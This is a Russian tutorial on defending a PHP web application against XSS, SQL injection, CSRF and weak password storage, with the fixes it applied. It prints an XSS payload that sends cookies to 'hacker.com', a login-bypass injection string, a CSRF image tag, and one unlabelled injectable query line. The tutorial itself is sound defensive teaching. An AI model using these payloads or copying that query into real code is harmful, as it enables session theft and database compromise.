Безопасность веб-приложений
20 минБезопасность — не опция, а необходимость
Веб-приложения постоянно атакуют. Даже маленький блог может стать целью. Давайте разберём основные угрозы и как мы от них защитились.
XSS (Cross-Site Scripting)
Что это?
Злоумышленник внедряет JavaScript-код на вашу страницу. Код выполняется в браузерах других пользователей.
Пример атаки
Пользователь вводит в поле "Имя":
<script>document.location="http://hacker.com/steal?cookie="+document.cookie</script>
Если вы просто выведете это без обработки, скрипт выполнится и украдёт cookies.
Как мы защитились
Используем htmlspecialchars() через нашу функцию escape():
<?= escape($user_input) ?>
Это преобразует < в <, и скрипт не выполнится.
SQL-инъекции
Что это?
Злоумышленник внедряет SQL-код в запрос к базе данных.
Пример атаки
Форма входа. Злоумышленник вводит:
Логин: admin' --
Пароль: что угодно
Если запрос формируется через конкатенацию:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'xxx'
-- в SQL — начало комментария. Всё после него игнорируется. Пароль не проверяется!
Как мы защитились
Используем подготовленные запросы (prepared statements):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
PDO автоматически экранирует параметры. SQL-инъекция невозможна.
$pdo->query("SELECT * FROM users WHERE id = " . $_GET["id"]);
CSRF (Cross-Site Request Forgery)
Что это?
Злоумышленник заставляет ваш браузер выполнить действие от вашего имени на другом сайте.
Пример атаки
Вы авторизованы на своём блоге. Злоумышленник присылает ссылку с картинкой:
<img src="http://ваш-блог.ru/delete_post.php?id=5">
Ваш браузер загружает "картинку" и удаляет пост.
Как мы защитились
- Важные действия только через POST
- CSRF-токен в формах
Хранение паролей
Как НЕ надо
- Хранить пароли открытым текстом
- Использовать MD5 или SHA1 (быстро взламываются)
- Одинаковая "соль" для всех паролей
Как мы сделали
// Хеширование при регистрации
$hash = password_hash($password, PASSWORD_DEFAULT);
// Проверка при входе
if (password_verify($input, $hash)) {
// Пароль верный
}
password_hash() автоматически:
- Использует безопасный алгоритм (bcrypt)
- Генерирует уникальную соль для каждого пароля
- Медленный по дизайну (защита от перебора)
Чек-лист безопасности
| Угроза | Защита | Мы сделали? |
|---|---|---|
| XSS | htmlspecialchars() при выводе | ✅ |
| SQL-инъекции | Подготовленные запросы PDO | ✅ |
| CSRF | Токены + POST-запросы | ✅ |
| Взлом паролей | password_hash() | ✅ |
| Утечка паролей в логах | Не логировать пароли | ✅ |
| Доступ к файлам | Публичная папка отдельно | ✅ |
Что ещё нужно в продакшене
- HTTPS — шифрование трафика
- Rate limiting — защита от перебора паролей
- Логирование — отслеживание подозрительной активности
- Обновления — регулярные обновления PHP и библиотек
- Резервные копии — бэкапы базы данных
Никогда не доверяйте данным от пользователя. Проверяйте, фильтруйте, экранируйте.